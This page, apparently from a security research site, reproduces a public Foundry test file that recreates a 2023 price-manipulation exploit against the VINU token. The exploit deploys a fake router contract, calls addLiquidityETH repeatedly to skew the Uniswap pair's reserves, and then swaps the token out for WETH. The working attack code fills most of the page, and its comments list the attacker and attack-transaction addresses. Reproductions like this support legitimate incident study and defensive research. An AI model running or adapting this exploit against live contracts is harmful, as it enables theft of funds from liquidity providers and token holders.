Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/VINU_exp.sol

Public reproduction file for dataset entry VINU.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/VINU_exp.sol105 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~6k USD$
8// Attacker : https://etherscan.io/address/0x9748c8540a5f752ba747f1203ac13dae789033de
9// Attack Contract : https://etherscan.io/address/0xf73b8ea8838cba9148fb182e267a000f7cfba8dd
10// Attack Tx : https://etherscan.io/tx/0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3
12// @Analysis
13// https://twitter.com/hexagate_/status/1666051854386511873?cxt=HHwWgoC24bPVgJ8uAAAA
15interface IVINU is IERC20 {
16 function addLiquidityETH(address routerAddr, address lprAddr, address devAddr) external;
19contract VinuTest is Test {
20 // Viral INU token
21 IVINU VINU = IVINU(0xF7ef0D57277ad6C2baBf87aB64bA61AbDd2590D2);
22 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
23 Uni_Router_V2 UniswapV2Router02 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
24 Uni_Pair_V2 Pair = Uni_Pair_V2(0xa8AF8ac7aCd97095c0d73eD51E30564d52b19cd8);
25 address private constant flashbotsAddress = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;
26 Router FakeRouter;
28 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 function setUp() public {
31 deal(address(this), 0.5 ether);
32 cheats.createSelectFork("mainnet", 17_421_006);
33 cheats.label(address(VINU), "VINU");
34 cheats.label(address(WETH), "WETH");
35 cheats.label(address(UniswapV2Router02), "UniswapV2Router02");
36 cheats.label(flashbotsAddress, "flashbotsAddress");
37 }
39 function testExploit() public {
40 emit log_named_decimal_uint("Attacker's contract ETH balance before attack", address(this).balance, 18);
42 emit log_named_decimal_uint(
43 "Attacker's contract WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
44 );
46 address[] memory path = new address[](2);
47 path[0] = address(WETH);
48 path[1] = address(VINU);
49 UniswapV2Router02.swapExactETHForTokens{value: 0.1 ether}(0, path, address(this), block.timestamp + 100);
51 // Deploying fake Router contract
52 FakeRouter = new Router();
54 // Manipulating the price of VINU
55 for (uint256 i; i < 4; ++i) {
56 VINU.addLiquidityETH(address(FakeRouter), address(this), address(Pair));
57 }
58 Pair.sync();
59 uint256 amountIn = VINU.balanceOf(address(this));
60 VINU.transfer(address(Pair), VINU.balanceOf(address(this)));
62 (uint112 reserveWETH, uint112 reserveVINU,) = Pair.getReserves();
63 flashbotsAddress.call{value: 0.000000001 ether}("");
64 uint256 amountOut = UniswapV2Router02.getAmountOut(amountIn, reserveVINU, reserveWETH);
66 Pair.swap(amountOut, 0, address(this), "");
68 emit log_named_decimal_uint("Attacker's contract ETH balance after attack", address(this).balance, 18);
70 emit log_named_decimal_uint(
71 "Attacker's contract WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
72 );
73 }
76contract Router {
77 address private constant wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
79 function factory() external view returns (address) {
80 return address(this);
81 }
83 function WETH() external view returns (address) {
84 return wethAddr;
85 }
87 function approve(address spender, uint256 amount) external returns (bool) {
88 return true;
89 }
91 function createPair(address tokenA, address tokenB) external returns (address) {
92 return address(this);
93 }
95 function addLiquidityETH(
96 address token,
97 uint256 amountTokenDesired,
98 uint256 amountTokenMin,
99 uint256 amountETHMin,
100 address to,
101 uint256 deadline
102 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity) {
103 return (0, 0, 0);
104 }

Analysis

Dataset entry

Public Foundry test for “VINU” (2023-06-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9748c8540a5f752ba747f1203ac13dae789033de

  • Attack Contract

    0xf73b8ea8838cba9148fb182e267a000f7cfba8dd

  • Attack Tx

    0xaf46a42fe1ed7193b25c523723dc047c7500e50a00ecb7bbb822d665adb3e1f3

File record

Name
VINU
Path
src/test/2023-06/VINU_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
76e2cc102faf3dd93dd96b55cbe6a2fcfd055adf
Language
Solidity
Size
106 lines
Date
2023-06-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/VINU_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 76e2cc102faf3dd93dd96b55cbe6a2fcfd055adf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.